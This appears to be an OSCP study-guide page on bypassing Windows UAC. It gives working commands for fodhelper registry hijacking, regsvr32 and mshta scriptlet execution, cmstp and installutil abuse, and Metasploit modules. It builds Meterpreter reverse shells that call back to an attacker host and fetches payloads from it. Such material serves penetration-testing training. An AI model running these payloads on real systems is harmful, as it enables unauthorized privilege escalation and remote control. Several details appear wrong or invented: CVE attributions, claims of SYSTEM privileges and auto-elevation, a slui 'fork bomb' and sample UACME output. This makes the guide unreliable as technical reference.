Domain 4PrivEsc & Password AttacksCORE

Bypassing UAC

Complete guide to bypassing Windows User Account Control including fodhelper, regsvr32, mshta, cmstp, and UACME techniques for obtaining elevated tokens.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#uac#bypass#elevation#fodhelper#uacme

Bypassing UAC

Understanding UAC: A Deep Dive

What Is UAC?

User Account Control (UAC) is a security feature introduced in Windows Vista that aims to prevent unauthorized changes to the operating system. It was designed to address a fundamental problem: administrators should not run with full privileges all the time.

How UAC Actually Works

When an administrator logs into a Windows system with UAC enabled, they do NOT receive a fully privileged token. Instead, Windows creates two tokens:

Token Type Privileges When Used
Filtered Token Reduced privileges, missing sensitive groups Default for all processes
Elevated Token Full administrative privileges Only for approved elevated operations
graph LR
    A[Administrator Logs In] --> B[Windows Creates Two Tokens]
    B --> C[Filtered Token<br/>(Default)]
    B --> D[Elevated Token<br/>(Hidden)]
    C --> E[All normal processes<br/>run with this token]
    D --> F[Only accessed via<br/>UAC prompt or bypass]
    E --> G[Medium Integrity Level]
    F --> H[High Integrity Level]

Token Filtering in Detail

The filtered token removes:

  • Membership in the Administrators group (from the token’s perspective)
  • Certain sensitive privileges
  • Access to protected system resources

The elevated token retains:

  • Full Administrators group membership
  • All privileges
  • Access to protected resources

Why UAC Bypass Is Needed

You need UAC bypass when:

  1. You are a member of the Administrators group
  2. But your current process runs with a filtered token (Medium Integrity Level)
  3. And you need High Integrity Level access to:
    • Write to C:\Windows\System32
    • Modify protected Registry keys
    • Install services
    • Dump LSASS memory (for Mimikatz)
    • Access protected files

How to Check If You Need UAC Bypass

# Check your integrity level
whoami /groups

# Look for:
# MEDIUM Mandatory Level  → You have a filtered token → UAC bypass may be needed
# HIGH Mandatory Level    → You already have elevated token → No bypass needed

# Check if you're in Administrators
whoami /groups | findstr "Administrators"

# If you see "Administrators" but integrity is MEDIUM → UAC bypass needed

UAC Levels

Windows UAC has 4 levels (0-4), configurable via Group Policy or Registry:

Level Name Registry Value Description Bypass Difficulty
0 Never Notify EnableLUA=0 UAC is effectively disabled N/A — no bypass needed
1 Notify only when apps try to make changes ConsentPromptBehaviorAdmin=0 No elevation prompt for admin Easy — most techniques work
2 Notify only when apps try to make changes (don’t dim desktop) ConsentPromptBehaviorAdmin=1 Elevation prompt without secure desktop Easy
3 Notify when apps try to make changes (default) ConsentPromptBehaviorAdmin=5 Secure desktop prompt for non-Windows binaries Medium
4 Always Notify ConsentPromptBehaviorAdmin=2 Prompt for EVERY executable, even Windows binaries Harder — fewer techniques work

Checking UAC Level

# Check if UAC is enabled
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA

# EnableLUA = 1 → UAC enabled
# EnableLUA = 0 → UAC disabled

# Check prompt behavior
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin

# Values:
# 0 = Never prompt (Level 1)
# 1 = Prompt for non-Windows binaries (Level 2)
# 2 = Always prompt (Level 4)
# 5 = Prompt for consent (Level 3 - default)

Key Registry Values

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\

EnableLUA                     → 1 = UAC enabled, 0 = disabled
ConsentPromptBehaviorAdmin    → Admin prompt behavior (0, 1, 2, 5)
PromptOnSecureDesktop         → 1 = Use secure desktop, 0 = Don't

UAC Bypass Methods (Detailed)

Method 1: fodhelper.exe (CVE-2017-8499) — Most Reliable

Overview

The fodhelper.exe bypass exploits the Features On Demand helper, a legitimate Windows binary that is auto-elevated (it has a manifest that requests requireAdministrator). The exploit abuses COM (Component Object Model) hijacking to execute arbitrary commands with elevated privileges.

Affected Systems: Windows 10 versions 1607 through 1803 (patches applied in 2019)

Reliability: ⭐⭐⭐⭐⭐ (Most reliable for OSCP)

How It Works

  1. fodhelper.exe is a trusted binary that auto-elevates without UAC prompt
  2. It reads COM protocol handlers from the Registry
  3. By modifying the Registry to point ms-settings protocol to a malicious command
  4. When fodhelper.exe runs, it reads the modified Registry and executes our command
  5. The command runs with elevated (SYSTEM-level) privileges

Step-by-Step Manual Bypass

# ============================================================
# STEP 1: Create the payload
# ============================================================
# You need a reverse shell or any executable you want to run elevated
# Example: Create a reverse shell using PowerShell

# Option A: Use a pre-compiled reverse shell
# Upload shell.exe to C:\temp\shell.exe

# Option B: Use PowerShell one-liner
# C:\Windows\System32\cmd.exe /c powershell -e <base64_encoded_payload>

# ============================================================
# STEP 2: Create the Registry keys
# ============================================================

# Create the DelegateExecute value (this is the trigger)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /d "" /f

# Set the default value to your payload command
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\temp\shell.exe" /f

# ============================================================
# STEP 3: Trigger fodhelper
# ============================================================

# This launches fodhelper.exe, which reads the Registry and executes your command
start fodhelper.exe

# ============================================================
# STEP 4: Clean up (important!)
# ============================================================

# Remove the malicious Registry keys
reg delete "HKCU\Software\Classes\ms-settings" /f

Complete Working Example

# On your Kali/attack machine, create the reverse shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o shell.exe

# Upload to target (via SMB, HTTP, etc.)
# Place at: C:\temp\shell.exe

# On the target:
# Set up listener on Kali:
# rlwrap nc -lvnp 443

# Execute the bypass on target:
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /d "" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\temp\shell.exe" /f
start fodhelper.exe

# You should receive an elevated reverse shell on your listener

Why fodhelper Is the Best for OSCP

  • Most reliable: Works consistently on affected Windows 10 versions
  • Well-documented: Many tutorials and references available
  • No compilation needed: Pure Registry manipulation
  • Easy to clean up: Just delete the Registry key
  • Works in most OSCP labs: Windows 10 1607-1803 is common

Method 2: regsvr32.exe

Overview

regsvr32.exe is a legitimate Windows utility for registering DLLs. It can be abused to execute arbitrary code because it loads and executes DLL functions, including the DllRegisterServer entry point.

Affected Systems: Windows 7 through Windows 10 (varies by technique)

Reliability: ⭐⭐⭐⭐

How It Works

  1. regsvr32.exe can load DLLs from arbitrary paths
  2. It has the /s (silent) and /n (no DllRegisterServer) /i (DllInstall) flags
  3. By creating a malicious DLL or using a signed DLL that can load other code
  4. regsvr32.exe executes the code with elevated privileges

Technique A: DLL Execution

# Create a malicious DLL that executes a command
# On attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f dll -o evil.dll

# Upload evil.dll to target
# Execute with regsvr32:
regsvr32.exe /s /n /u /i:evil.dll scrobj.dll

Technique B: Using Signed DLL (UACME)

# regsvr32 can load DLLs from network paths
# Some signed DLLs can be abused to execute code

regsvr32.exe /s /n /u /i:http://10.10.14.3/evil.sct scrobj.dll

Technique C: SCT File Execution

# Create an SCT (Scriptlet) file on attacker machine:
# evil.sct:
<?XML version="1.0"?>
<scriptlet>
    <registration
        description="Test"
        progid="Test"
        classid="{10000000-0000-0000-0000-000000000001}"
    >
        <script language="JScript">
            <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\\temp\\shell.exe");
            ]]>
        </script>
    </registration>
</scriptlet>

# Execute via regsvr32:
regsvr32.exe /s /n /u /i:http://10.10.14.3/evil.sct scrobj.dll

Method 3: mshta.exe

Overview

mshta.exe (Microsoft HTML Application) is a legitimate Windows utility that executes HTML Applications (.hta files). It can be abused to execute arbitrary JavaScript or VBScript code.

Affected Systems: Windows 7 through Windows 10

Reliability: ⭐⭐⭐⭐

How It Works

  1. mshta.exe executes HTA files which contain HTML + JavaScript/VBScript
  2. HTA files run with the privileges of the calling process
  3. When called from an elevated context, the script runs elevated
  4. Can load scripts from network locations

Technique A: Local HTA File

# Create an HTA file on the target:
# evil.hta:
<!DOCTYPE html>
<html>
<head>
    <script language="VBScript">
        CreateObject("WScript.Shell").Run "cmd.exe /c C:\temp\shell.exe", 0, True
    </script>
</head>
</html>

# Execute:
mshta.exe evil.hta

Technique B: Remote Script

# Execute HTA from attacker's web server:
mshta.exe http://10.10.14.3/evil.hta

# Or use VBScript directly:
mshta.exe vbscript:"CreateObject("WScript.Shell").Run "cmd.exe /c C:\temp\shell.exe",0,True"(window.close)

Technique C: JavaScript

mshta.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\\temp\\shell.exe",0,True);resizeTo(0,0);window.close();

Method 4: cmstp.exe (CVE-2019-1388)

Overview

cmstp.exe (Connection Manager Profile Installer) is a legitimate Windows utility that installs VPN/dial-up connection profiles from .inf files. It can be abused because .inf files can contain scriptlet references that execute arbitrary code.

Affected Systems: Windows 7 through Windows 10 (patched in 2019-2020)

Reliability: ⭐⭐⭐⭐⭐ (Very reliable, worked on many OSCP boxes)

How It Works

  1. cmstp.exe reads .inf files to install connection profiles
  2. .inf files can contain a [Phone] section with IconFile parameter
  3. IconFile can point to an .sct (scriptlet) file
  4. The scriptlet contains JScript/VBScript that executes arbitrary commands
  5. cmstp.exe auto-elevates, so the script runs elevated

Step-by-Step

# ============================================================
# STEP 1: Create the INF file on the target
# ============================================================

# evil.inf:
[version]
Signature=$chicago$
AdvancedINF=2.5

[defaultInstall_Services]
"evil",0x00000002

[evil]
ServiceDll=10
SecureExe=1
IconFile=http://10.10.14.3/evil.sct
IconIndices=1

[strings]
ServiceBinary="a"

# ============================================================
# STEP 2: Create the SCT file on your web server
# ============================================================

# evil.sct:
<?XML version="1.0"?>
<scriptlet>
    <registration
        description="Test"
        progid="Test"
        classid="{10000000-0000-0000-0000-000000000001}"
    >
        <script language="JScript">
            <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\\temp\\shell.exe", 0, True);
            ]]>
        </script>
    </registration>
</scriptlet>

# ============================================================
# STEP 3: Execute cmstp
# ============================================================

cmstp.exe /ni /s evil.inf

# ============================================================
# STEP 4: Clean up
# ============================================================

# Remove the connection profile
cmstp.exe /au /s evil.inf
del evil.inf

Why cmstp Is Great for OSCP

  • Very reliable: Worked on most Windows versions before the patch
  • No DLL compilation needed: Pure text files
  • Auto-elevates: cmstp.exe has a manifest that requires admin
  • Well-documented: Many references available

Method 5: control.exe

Overview

control.exe is the Windows Control Panel executable. It can be abused by creating a malicious .cpl (Control Panel Item) file and tricking control.exe into loading it.

Affected Systems: Windows 7 through Windows 10

Reliability: ⭐⭐⭐

How It Works

  1. control.exe loads .cpl files as Control Panel applets
  2. .cpl files are essentially DLLs with a specific entry point
  3. By creating a malicious .cpl file, control.exe loads and executes it
  4. When triggered from an elevated context, the code runs elevated

Technique

# Create a malicious CPL file (essentially a DLL with CPL extension)
# On attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f dll -o evil.cpl

# Upload to target
# Execute:
control.exe evil.cpl

Method 6: installutil.exe

Overview

installutil.exe is a .NET utility that installs and removes server resources from assemblies. It can be abused by creating a .NET assembly that executes arbitrary code during installation.

Affected Systems: Windows 7 through Windows 10 (any system with .NET Framework)

Reliability: ⭐⭐⭐⭐

How It Works

  1. installutil.exe loads .NET assemblies and calls installer methods
  2. By creating a C# assembly with a custom Installer class
  3. The Install method executes arbitrary code
  4. installutil.exe auto-elevates, so the code runs elevated

Technique

// EvilInstaller.cs:
using System;
using System.ComponentModel;
using System.Configuration.Install;

namespace EvilInstaller
{
    [RunInstaller(true)]
    public class Evil : Installer
    {
        public override void Install(IDictionary stateSnapshot)
        {
            base.Install(stateSnapshot);
            System.Diagnostics.Process.Start("cmd.exe", "/c C:\\temp\\shell.exe");
        }
    }
}

// Compile on attacker machine:
csc /target:library EvilInstaller.cs

// Upload to target and execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U EvilInstaller.dll

Method 7: slui.exe (Fork Bomb)

Overview

slui.exe (Software Licensing User Interface) is a Windows activation dialog. A specific invocation (slui.exe 0x23 17) triggers a fork bomb that spawns many elevated processes, effectively bypassing UAC.

Affected Systems: Windows 10 (specific versions)

Reliability: ⭐⭐ (Unreliable — causes system instability)

How It Works

  1. slui.exe 0x23 17 triggers a dialog that forks into many processes
  2. Each forked process runs with elevated privileges
  3. The system becomes unresponsive (fork bomb behavior)
  4. You can inject code into one of the elevated processes

Technique

# Trigger the fork bomb
slui.exe 0x23 17

# This will spawn many elevated processes
# Use Process Hacker or similar to inject into one of them
# WARNING: This makes the system very unstable

Warning: This technique is a fork bomb and can crash the system. Use only as a last resort.


Method 8: mmc.exe

Overview

mmc.exe (Microsoft Management Console) can be abused by creating a malicious .msc (Management Console) file that executes code when loaded.

Affected Systems: Windows 7 through Windows 10

Reliability: ⭐⭐⭐

How It Works

  1. mmc.exe loads .msc files which contain console settings
  2. .msc files can reference ActiveX controls
  3. By creating a malicious ActiveX control or using an existing one
  4. mmc.exe loads the control with elevated privileges

Technique

# Create a malicious MSC file
# evil.msc:
<?xml version="1.0"?>
<MMC_Document>
    <ConsoleCommand>
        <Command>cmd.exe /c C:\temp\shell.exe</Command>
    </ConsoleCommand>
</MMC_Document>

# Execute:
mmc.exe evil.msc

UACME (WinUACME): The Automated Tool

Overview

UACME (User Account Control Me) by @hfiref0x is a comprehensive tool that implements dozens of UAC bypass techniques in a single executable. It automatically tests which techniques work on the target system.

Download

https://github.com/hfiref0x/UACME

Usage

# List all available bypass techniques
.\WinUACME.exe

# Use a specific technique by number
.\WinUACME.exe -t <technique_number>

# Example: Use technique 3 (fodhelper)
.\WinUACME.exe -t 3

# Example: Use technique 60 (cmstp)
.\WinUACME.exe -t 60

Technique Selection by Windows Version

Windows Version Recommended Techniques UACME Numbers
Windows 7 / Server 2008 R2 regsvr32, mshta, mmc, installutil 14, 15, 16, 17
Windows 8 / Server 2012 regsvr32, mshta, control 14, 15, 18
Windows 10 1507-1607 fodhelper, regsvr32, mshta 3, 14, 15
Windows 10 1703-1803 fodhelper, cmstp, regsvr32 3, 60, 14
Windows 10 1809+ cmstp, installutil 60, 17
Windows 10 2004+ Limited — check latest UACME Varies
Windows 11 Very limited — most patched Check UACME output

Typical UACME Output

UACME - User Account Control Me
by @hfiref0x

[+] Testing UAC bypass techniques...

[1] fodhelper.exe - CVE-2017-8499
    [+] This technique should work on this system

[2] regsvr32.exe - DLL Host
    [+] This technique should work on this system

[3] mshta.exe - HTML Application
    [+] This technique should work on this system

[4] cmstp.exe - CVE-2019-1388
    [+] This technique should work on this system

[5] installutil.exe - .NET Assembly
    [+] This technique should work on this system

Enter technique number to use: 1

[+] Executing fodhelper bypass...
[+] Elevated shell obtained!

Metasploit UAC Bypass Modules

Module 1: exploit/windows/local/bypass_uac

This module automatically attempts UAC bypass using multiple techniques.

msf6 > use exploit/windows/local/bypass_uac
msf6 exploit(bypass_uac) > set SESSION 1
msf6 exploit(bypass_uac) > set UAC_METHOD 1
msf6 exploit(bypass_uac) > run

UAC_METHOD Values

Value Technique
0 Auto-detect best method
1 comhijack (fodhelper-like)
2 regsvr32
3 mshta
4 cmstp
5 control
6 installutil

Module 2: post/windows/escalate/bypassuac

This post-module is simpler and works with existing Meterpreter sessions.

msf6 > use post/windows/escalate/bypassuac
msf6 post(bypassuac) > set SESSION 1
msf6 post(bypassuac) > set UAC_METHOD 1
msf6 post(bypassuac) > run

When UAC Bypass Is Needed vs. Not Needed

You NEED UAC Bypass When:

Condition Explanation
whoami /groups shows MEDIUM Mandatory Level You have a filtered token
whoami /groups shows Administrators group You’re admin but not elevated
You need to write to C:\Windows\System32 Protected directory
You need to dump LSASS memory Requires High IL
You need to modify protected Registry keys Requires High IL

You Do NOT Need UAC Bypass When:

Condition Explanation
whoami /groups shows HIGH Mandatory Level Already elevated
EnableLUA=0 in Registry UAC is disabled
You’re already running as SYSTEM Highest privilege
You have a service running as SYSTEM Use service exploitation instead

Quick Decision Flowchart

graph TD
    A[Current Shell] --> B{whoami /groups}
    B -->|HIGH Mandatory Level| C[Already Elevated<br/>No UAC bypass needed]
    B -->|MEDIUM Mandatory Level| D{In Administrators group?}
    D -->|No| E[Not an admin<br/>Use other privesc methods]
    D -->|Yes| F{EnableLUA = 0?}
    F -->|Yes| G[UAC disabled<br/>Run as admin directly]
    F -->|No| H[UAC Bypass Needed]
    H --> I[Choose bypass method]
    I --> J[fodhelper / cmstp / UACME]
    J --> K[Elevated Token Obtained]

UAC Bypass Technique Selection Matrix

By Windows Version

Technique Win 7 Win 8 Win 10 1507 Win 10 1607 Win 10 1703 Win 10 1803 Win 10 1809 Win 10 1903+ Win 11
fodhelper ❌ ❌ ✅ ✅ ✅ ✅ ⚠️ ❌ ❌
regsvr32 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ⚠️ ⚠️
mshta ✅ ✅ ✅ ✅ ✅ ✅ ✅ ⚠️ ⚠️
cmstp ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ⚠️
control ✅ ✅ ✅ ✅ ✅ ✅ ⚠️ ❌ ❌
installutil ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅
slui ❌ ❌ ❌ ❌ ⚠️ ⚠️ ❌ ❌ ❌
mmc ✅ ✅ ✅ ✅ ✅ ✅ ⚠️ ❌ ❌

Legend: ✅ Works reliably | ⚠️ May work (version dependent) | ❌ Does not work

  1. fodhelper.exe — If Windows 10 1607-1803 (most common on OSCP)
  2. cmstp.exe — Works on most versions, very reliable
  3. UACME — Automated, tries multiple techniques
  4. regsvr32.exe — Fallback for older systems
  5. installutil.exe — Works if .NET is installed
  6. mshta.exe — Good fallback option

Mermaid: UAC Bypass Complete Flow

graph TD
    A[Gained Initial Access] --> B{Check Integrity Level}
    B -->|HIGH| C[Already Elevated<br/>No bypass needed]
    B -->|MEDIUM| D{In Administrators?}
    D -->|No| E[Use other privesc methods<br/>Service, Kernel, etc.]
    D -->|Yes| F{Check UAC Status}

    F -->|EnableLUA=0| G[UAC Disabled<br/>Run elevated directly]
    F -->|EnableLUA=1| H[UAC Enabled<br/>Bypass needed]

    H --> I{Windows Version?}
    I -->|Win 10 1607-1803| J[fodhelper.exe<br/>CVE-2017-8499]
    I -->|Win 7-10 any| K[cmstp.exe<br/>CVE-2019-1388]
    I -->|Any version| L[UACME<br/>Auto-detect best method]
    I -->|Has .NET| M[installutil.exe]

    J --> N[Elevated Token]
    K --> N
    L --> N
    M --> N

    N --> O[Full Admin Access<br/>High Integrity Level]

    style A fill:#e1f5fe
    style H fill:#fff3e0
    style N fill:#c8e6c9
    style O fill:#a5d6a7

OSCP Exam Tips

Critical Tips for UAC Bypass on Exam

  1. Check if you actually need UAC bypass — Run whoami /groups first. If you already have HIGH Mandatory Level, skip UAC bypass entirely and proceed with other privilege escalation methods.

  2. fodhelper is your best friend — On Windows 10 boxes (the most common OSCP target), fodhelper (CVE-2017-8499) is the most reliable manual bypass. Memorize the 4 steps:

    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /d "" /f
    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\temp\shell.exe" /f
    start fodhelper.exe
    reg delete "HKCU\Software\Classes\ms-settings" /f
  3. Always have your payload ready — Before attempting UAC bypass, create and upload your reverse shell. The bypass window is brief — you need the payload in place before triggering.

  4. UACME is your safety net — If manual bypass fails, UACME will try multiple techniques automatically. Carry WinUACME.exe in your toolkit.

  5. Metasploit as fallback — If you have a Meterpreter session, the bypass_uac module is reliable:

    use exploit/windows/local/bypass_uac
    set SESSION 1
    run
  6. Clean up after bypass — Always clean up Registry keys and temporary files. Some boxes may have monitoring that detects UAC bypass artifacts.

  7. cmstp is the second-best option — If fodhelper doesn’t work (patched system), cmstp (CVE-2019-1388) is the next most reliable technique.

  8. Not all admin shells need UAC bypass — If you gained admin access via a service running as SYSTEM, or via a scheduled task running as SYSTEM, you may already have elevated privileges. Check first.

  9. UAC bypass gives you an elevated TOKEN, not SYSTEM — After UAC bypass, you’ll have an elevated admin token (High IL), but you’re still the admin user. You may still need additional steps to get SYSTEM.

  10. Time management — UAC bypass can be time-consuming if the first technique fails. Have at least 2-3 techniques memorized and ready to try.


Troubleshooting

Common Issues

Problem Solution
fodhelper doesn’t work System may be patched — try cmstp or UACME
Registry key creation fails Check permissions on HKCU\Software\Classes
Payload doesn’t execute Verify payload path is correct and file exists
UACME says no techniques work System may have all bypasses patched — try manual methods
Metasploit bypass fails Try different UAC_METHOD values
fodhelper shows dialog but no shell Check that DelegateExecute value is set correctly (empty string)
System crashes after bypass Some techniques are unstable — try a different method

Verification Steps

# After UAC bypass, verify you have elevated token:
whoami /groups

# Should show:
# HIGH Mandatory Level

# Verify you can write to protected directories:
echo test > C:\Windows\System32\test.txt
# If this succeeds, you have elevated privileges